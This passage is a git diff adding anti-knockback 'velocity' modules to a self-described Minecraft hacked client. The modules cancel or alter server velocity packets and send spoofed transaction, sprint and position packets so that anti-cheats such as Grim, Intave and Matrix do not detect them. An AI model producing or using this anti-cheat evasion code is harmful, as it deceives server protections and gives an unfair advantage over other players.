S12PacketEntityVelocity && packet.entityID == mc.thePlayer.entityId) { + event.cancelEvent() + grimTCancel = cancelPacket + } + if (packet is S32PacketConfirmTransaction && grimTCancel > 0) { + event.cancelEvent() + grimTCancel-- + } + } + + override fun onUpdate(event: UpdateEvent) { + updates++ + + if (resetPersec > 0) { + if (updates >= 0 || updates >= resetPersec) { + updates = 0 + if (grimTCancel > 0) { + grimTCancel-- + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimSmallVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimSmallVelocity.kt new file mode 100644 index 0000000..81f9035 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimSmallVelocity.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.grim + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class GrimSmallVelocity : VelocityMode("GrimSmall") { + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + val thePlayer = mc.thePlayer + if (thePlayer.hurtTime > 0){ + thePlayer.motionX += -1.0E-7 + thePlayer.motionZ += -1.0E-7 + } + if (thePlayer.hurtTime > 5){ + thePlayer.motionX += -1.1E-7 + thePlayer.motionZ += -1.2E-7 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimVertical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimVertical.kt new file mode 100644 index 0000000..830566b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimVertical.kt @@ -0,0 +1,145 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.grim + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.minecraft.entity.EntityLivingBase +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.util.Vec3 +import org.apache.commons.lang3.RandomUtils + +class GrimVertical : VelocityMode("GrimVertical") { + private var attack = false + private val smartVelo = BoolValue("${valuePrefix}SmartVelo",true) + private val sendc0fValue = BoolValue("${valuePrefix}C0F",false) + private val C0fpacketamount = IntegerValue("${valuePrefix}C0FPacketAmount",0,1,20).displayable{sendc0fValue.get()} + private val C02packetamount = IntegerValue("${valuePrefix}C02PacketAmount",1,1,20) + private val sprintSpoof = BoolValue("${valuePrefix}SpoofSprint",true) + private val playerJump = BoolValue("${valuePrefix}PlayerJump",true) + private val spoofJump = BoolValue("${valuePrefix}SpoofJump",false) + private val callEvent = BoolValue("${valuePrefix}CallEvent",true) + + private var motionXZ = 0.0 + var lastSprinting = false + override fun onEnable() { + motionXZ = 0.01 + } + override fun onUpdate(event: UpdateEvent) { + if (attack) { + repeat(C02packetamount.get()) { + FDPClient.moduleManager[KillAura::class.java]!!.currentTarget?.let { it1 -> attackEntity(it1) } + } + + if(smartVelo.get()){ + mc.thePlayer!!.motionX *= motionXZ + mc.thePlayer!!.motionZ *= motionXZ + }else{ + mc.thePlayer!!.motionX *= 0.077760000 + mc.thePlayer!!.motionZ *= 0.077760000 + } + velocity.velocityInput = false + attack = false + }else if (mc.thePlayer.hurtTime == 6 && mc.thePlayer.onGround && !mc.gameSettings.keyBindJump.isKeyDown) { + if(spoofJump.get()){ + mc.thePlayer.movementInput.jump = true + } + } + } + private fun runSwing() { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + private fun attackEntity(entity: EntityLivingBase){ + val event = AttackEvent(entity) + if(callEvent.get()){ + FDPClient.eventManager.callEvent(event) + if (event.isCancelled) return + } + runSwing() + mc.netHandler.addToSendQueue(C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK)) + } + private fun getMotionNoXZ(packetEntityVelocity: S12PacketEntityVelocity): Double { + val strength: Double = Vec3( + packetEntityVelocity.getMotionX().toDouble(), + packetEntityVelocity.getMotionY().toDouble(), + packetEntityVelocity.getMotionZ().toDouble() + ).lengthVector() + val motionNoXZ: Double = if (strength >= 20000.0) { + if (mc.thePlayer.onGround) { + 0.06425 + } else { + 0.075 + } + } else if (strength >= 5000.0) { + if (mc.thePlayer.onGround) { + 0.02625 + } else { + 0.0552 + } + } else { + 0.0175 + } + return motionNoXZ + } + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + if (packet.getMotionX() == 0 && packet.getMotionZ() == 0 || mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) { // ignore horizonal velocity + return + } + if (mc.thePlayer!!.onGround && mc.thePlayer.hurtTime > 0) { + if(playerJump.get()){ + mc.thePlayer.jump() + } + } + velocity.velocityInput = true + motionXZ = getMotionNoXZ(packet) + + if (FDPClient.moduleManager[KillAura::class.java]!!.state && FDPClient.moduleManager[KillAura::class.java]!!.currentTarget != null && mc.thePlayer!!.getDistanceToEntityBox(FDPClient.moduleManager[KillAura::class.java]!!.currentTarget!!) <= 3.00) { + if (mc.thePlayer!!.isSprinting && mc.thePlayer!!.serverSprintState && MovementUtils.isMoving()) { + repeat(C0fpacketamount.get()) { + if(sendc0fValue.get()){ + mc.netHandler.addToSendQueue(C0FPacketConfirmTransaction(RandomUtils.nextInt(102, 1000024123), RandomUtils.nextInt(102, 1000024123).toShort(), true)) + } + } + attack = true + }else{ + if(sprintSpoof.get()){ + repeat(C0fpacketamount.get()) { + if(sendc0fValue.get()){ + mc.netHandler.addToSendQueue(C0FPacketConfirmTransaction(RandomUtils.nextInt(102, 1000024123), RandomUtils.nextInt(102, 1000024123).toShort(), true)) + } + } + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + mc.thePlayer.isSprinting = false + attack = true + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer , C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + } + } + } + if(packet is C0BPacketEntityAction && velocity.velocityInput && sprintSpoof.get()){ + if (packet.action == C0BPacketEntityAction.Action.START_SPRINTING) { + if (this.lastSprinting) { + FDPClient.eventManager.callEvent(event) + } + this.lastSprinting = true + } else if (packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING) { + if (!this.lastSprinting) { + FDPClient.eventManager.callEvent(event) + } + this.lastSprinting = false + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveFullVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveFullVelocity.kt new file mode 100644 index 0000000..d60d764 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveFullVelocity.kt @@ -0,0 +1,40 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.intave + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class IntaveFullVelocity : VelocityMode("IntaveFull") { + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.hurtTime > 7) { + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = 0.0 + } + } + + @EventTarget + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer.hurtTime > 7) { + if (packet is C03PacketPlayer.C06PacketPlayerPosLook) { + event.cancelEvent() + mc.netHandler.addToSendQueue( + C03PacketPlayer.C05PacketPlayerLook( + packet.getYaw(), + packet.getPitch(), + packet.isOnGround + ) + ) + } else if (packet is C03PacketPlayer.C04PacketPlayerPosition) { + event.cancelEvent() + mc.netHandler.addToSendQueue(C03PacketPlayer(packet.isOnGround)) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveJumpVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveJumpVelocity.kt new file mode 100644 index 0000000..6bb5950 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveJumpVelocity.kt @@ -0,0 +1,32 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.intave + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.client.settings.GameSettings + +class IntaveJumpVelocity : VelocityMode("IntaveJump") { + + private var jumped = 0 + + override fun onUpdate(event: UpdateEvent) { + if (mc.currentScreen != null) return + } + + override fun onPacket(event: PacketEvent) { + if (mc.thePlayer.hurtTime == 9) { + if (++jumped % 2 == 0 && mc.thePlayer.onGround && mc.thePlayer.isSprinting && mc.currentScreen == null) { + mc.gameSettings.keyBindJump.pressed = true + jumped = 0 // reset + } + } else { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveSimpleVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveSimpleVelocity.kt new file mode 100644 index 0000000..8af4570 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveSimpleVelocity.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.intave + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.script.api.global.Chat + +class IntaveSimpleVelocity : VelocityMode("IntaveSimple") { + private var sprintvel = FloatValue("SprintingHorizontal",0.6f,0f,1f) + private var vel = FloatValue("NoSprintHorizontal",0.6f,0f,1f) + + @EventTarget + override fun onAttack(event: AttackEvent) { + if (mc.thePlayer.hurtTime > 0) { + if (mc.thePlayer.isSprinting) { + if (velocity.debug.get()) { + Chat.alert("Spring - Motion *= " + sprintvel.get().toString()) + } + mc.thePlayer.motionZ *= sprintvel.get() + mc.thePlayer.motionX *= sprintvel.get() + } else { + if (velocity.debug.get()) { + Chat.alert("Walking - Motion *= " + vel.get().toString()) + } + mc.thePlayer.motionZ *= vel.get() + mc.thePlayer.motionX *= vel.get() + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveTimerVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveTimerVelocity.kt new file mode 100644 index 0000000..abebd09 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveTimerVelocity.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.intave + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.script.api.global.Chat + +class IntaveTimerVelocity : VelocityMode("IntaveTimer") { + private val OnAir = BoolValue("OnAir", true) + private val Low = FloatValue("LowTimer", 0.1F, 0.05F, 1F) + private val LowTimerTicks = IntegerValue("LowTimerTicks", 1, 1, 20) + private val Max = FloatValue("MaxTimer", 2F, 1F, 5F) + private val MaxTimerTicks = IntegerValue("MaxTimerTicks", 1, 1, 20) + var jump = false + var lowticks = 0 + var maxticks = 0 + var cancel = false + override fun onDisable() { + cancel = false + maxticks= 0 + lowticks=0 + mc.timer.timerSpeed = 1F + jump = false + } + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.hurtTime > 0) { + cancel = true + when { + lowticks <= LowTimerTicks.get() -> { + if (velocity.debug.get()) { + Chat.alert("LowTimer") + } + lowticks++ + mc.timer.timerSpeed = Low.get() + } + maxticks <= MaxTimerTicks.get() -> { + maxticks++ + if (OnAir.get() && mc.thePlayer.onGround) { + if (velocity.debug.get()) { + Chat.alert("MaxTimer") + } + mc.timer.timerSpeed = Max.get() + } else if (!OnAir.get()) { + if (velocity.debug.get()) { + Chat.alert("MaxTimer") + } + mc.timer.timerSpeed = Max.get() + } + } + else -> { + lowticks = 0 + maxticks = 0 + } + } + } else { + cancel = false + mc.timer.timerSpeed = 1F + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveVelocity.kt new file mode 100644 index 0000000..6e33a25 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/IntaveVelocity.kt @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.intave + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.script.api.global.Chat +import kotlin.math.cos +import kotlin.math.sin + +class IntaveVelocity : VelocityMode("IntaveReveres") { + private val reverse = BoolValue("Reveres", false) + private val yreuce = FloatValue("ReduceY", 0.05f, 0f, 0.5f) + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + if (mc.objectMouseOver == null) { + return + } + if (mc.thePlayer.hurtTime <= 6 && mc.thePlayer.isSwingInProgress && mc.thePlayer.hurtTime > 0) { + if (reverse.get() && !mc.thePlayer.onGround) { + if (velocity.debug.get()) { + Chat.alert("Reverse") + } + mc.thePlayer.motionX = -sin(Math.toRadians(mc.thePlayer.rotationYaw.toDouble())) * 0.019999999552965164 + mc.thePlayer.motionZ = cos(Math.toRadians(mc.thePlayer.rotationYaw.toDouble())) * 0.019999999552965164 + } + val var10000 = mc.thePlayer + var10000.motionY *= 1.0 - yreuce.get() + if (velocity.debug.get()) { + Chat.alert("MotionY *= " + (1 - yreuce.get()).toString()) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/LegitSmartVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/LegitSmartVelocity.kt new file mode 100644 index 0000000..f9e1066 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/intave/LegitSmartVelocity.kt @@ -0,0 +1,46 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.intave + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class LegitSmartVelocity : VelocityMode("LegitSmart") { + var jumped = 0 + var input = false + + override fun onEnable() { + jumped = 0 + input = false + } + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround && mc.thePlayer.hurtTime == 9 && mc.thePlayer.isSprinting && mc.currentScreen == null) { + if (jumped > 2) { + jumped = 0 + } else { + ++jumped + if (mc.thePlayer.ticksExisted % 5 != 0) mc.gameSettings.keyBindJump.pressed = true + } + } else if (mc.thePlayer.hurtTime == 8) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + input = false + } + } + + @EventTarget + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S12PacketEntityVelocity) { + if ((mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) + return + if (packet.motionX * packet.motionX + packet.motionZ * packet.motionZ + packet.motionY * packet.motionY > 640000) { + input = + true + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixGroundVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixGroundVelocity.kt new file mode 100644 index 0000000..afafbf8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixGroundVelocity.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class MatrixGroundVelocity : VelocityMode("MatrixGround") { + private var isMatrixOnGround = false + override fun onEnable() { + isMatrixOnGround = false + } + override fun onVelocity(event: UpdateEvent) { + isMatrixOnGround = mc.thePlayer.onGround && !mc.gameSettings.keyBindJump.isKeyDown + } + + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + packet.motionX = (packet.getMotionX() * 0.36).toInt() + packet.motionZ = (packet.getMotionZ() * 0.36).toInt() + if (isMatrixOnGround) { + packet.motionY = (-628.7).toInt() + packet.motionX = (packet.getMotionX() * 0.6).toInt() + packet.motionZ = (packet.getMotionZ() * 0.6).toInt() + mc.thePlayer.onGround = false + } + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixReduceVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixReduceVelocity.kt new file mode 100644 index 0000000..ebb3615 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixReduceVelocity.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.matrix + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class MatrixReduceVelocity : VelocityMode("MatrixReduce") { + override fun onVelocity(event: UpdateEvent) { + if (mc.thePlayer.hurtTime > 0) { + if (mc.thePlayer.onGround) { + if (mc.thePlayer.hurtTime <= 6) { + mc.thePlayer.motionX *= 0.70 + mc.thePlayer.motionZ *= 0.70 + } + if (mc.thePlayer.hurtTime <= 5) { + mc.thePlayer.motionX *= 0.80 + mc.thePlayer.motionZ *= 0.80 + } + } else if (mc.thePlayer.hurtTime <= 10) { + mc.thePlayer.motionX *= 0.60 + mc.thePlayer.motionZ *= 0.60 + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixReverseVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixReverseVelocity.kt new file mode 100644 index 0000000..220e729 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixReverseVelocity.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class MatrixReverseVelocity : VelocityMode("MatrixReverse") { + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + packet.motionX = (packet.getMotionX() * -0.3).toInt() + packet.motionZ = (packet.getMotionZ() * -0.3).toInt() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixSimpleVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixSimpleVelocity.kt new file mode 100644 index 0000000..203e761 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixSimpleVelocity.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class MatrixSimpleVelocity : VelocityMode("MatrixSimple") { + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + packet.motionX = (packet.getMotionX() * 0.36).toInt() + packet.motionZ = (packet.getMotionZ() * 0.36).toInt() + if (mc.thePlayer.onGround) { + packet.motionX = (packet.getMotionX() * 0.9).toInt() + packet.motionZ = (packet.getMotionZ() * 0.9).toInt() + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixSpoofVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixSpoofVelocity.kt new file mode 100644 index 0000000..dfbc6e7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixSpoofVelocity.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class MatrixSpoofVelocity : VelocityMode("MatrixSpoof") { + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + event.cancelEvent() + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + packet.motionX / - 24000.0, mc.thePlayer.posY + packet.motionY / -24000.0, mc.thePlayer.posZ + packet.motionZ / 8000.0, false)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixStrafeVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixStrafeVelocity.kt new file mode 100644 index 0000000..1e07829 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/matrix/MatrixStrafeVelocity.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class MatrixStrafeVelocity : VelocityMode("MatrixClip") { + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.hurtTime in 1..4 && mc.thePlayer.fallDistance > 0) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/HypixelVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/HypixelVelocity.kt new file mode 100644 index 0000000..b1278e2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/HypixelVelocity.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.ccbluex.liquidbounce.utils.misc.RandomUtils + +class HypixelVelocity : VelocityMode("Hypixel") { + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + event.cancelEvent() + mc.thePlayer.motionY = packet.getMotionY().toDouble() / 8000.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/KarhuVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/KarhuVelocity.kt new file mode 100644 index 0000000..1589f8f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/KarhuVelocity.kt @@ -0,0 +1,34 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.other + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.block.BlockAir +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import kotlin.math.floor + + +class KarhuVelocity : VelocityMode("Karhu") { + private var ticks = 0 + override fun onEnable() { + ticks = 0 + } + + @EventTarget + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && mc.thePlayer.hurtTime > 0) { + val x = event.x + val y = event.y + val z = event.z + + if (y == (floor(mc.thePlayer.posY) + 1).toInt()) { + event.boundingBox = AxisAlignedBB.fromBounds(0.0, 0.0, 0.0, 1.0, 0.0, 1.0).offset( + x.toDouble(), + y.toDouble(), + z.toDouble() + ) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/MinemenVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/MinemenVelocity.kt new file mode 100644 index 0000000..4faa5bb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/MinemenVelocity.kt @@ -0,0 +1,45 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.ccbluex.liquidbounce.utils.MovementUtils + +class MinemenVelocity : VelocityMode("Minemen") { + + // created by dg636 $$ + + private var ticks = 0 + private var lastCancel = false + private var canCancel = false + + override fun onUpdate(event: UpdateEvent) { + ticks ++ + if (ticks > 23) { + canCancel = true + } + if (ticks >= 2 && ticks <= 4 && !lastCancel) { + mc.thePlayer.motionX *= 0.99 + mc.thePlayer.motionZ *= 0.99 + } else if (ticks == 5 && !lastCancel) { + MovementUtils.strafe() + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) return + ticks = 0 + if (canCancel) { + event.cancelEvent() + lastCancel = true + canCancel = false + } else { + mc.thePlayer.jump() + lastCancel = false + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/PhaseVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/PhaseVelocity.kt new file mode 100644 index 0000000..a73424f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/other/PhaseVelocity.kt @@ -0,0 +1,42 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class PhaseVelocity : VelocityMode("Phase") { + private val phaseHeightValue = FloatValue("${valuePrefix}Height", 0.5F, 0F, 1F) + private val phaseOnlyGroundValue = BoolValue("${valuePrefix}OnlyGround", true) + private val phaseMode = ListValue("${valuePrefix}Mode", arrayOf("Normal", "Packet"), "Normal") + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + if 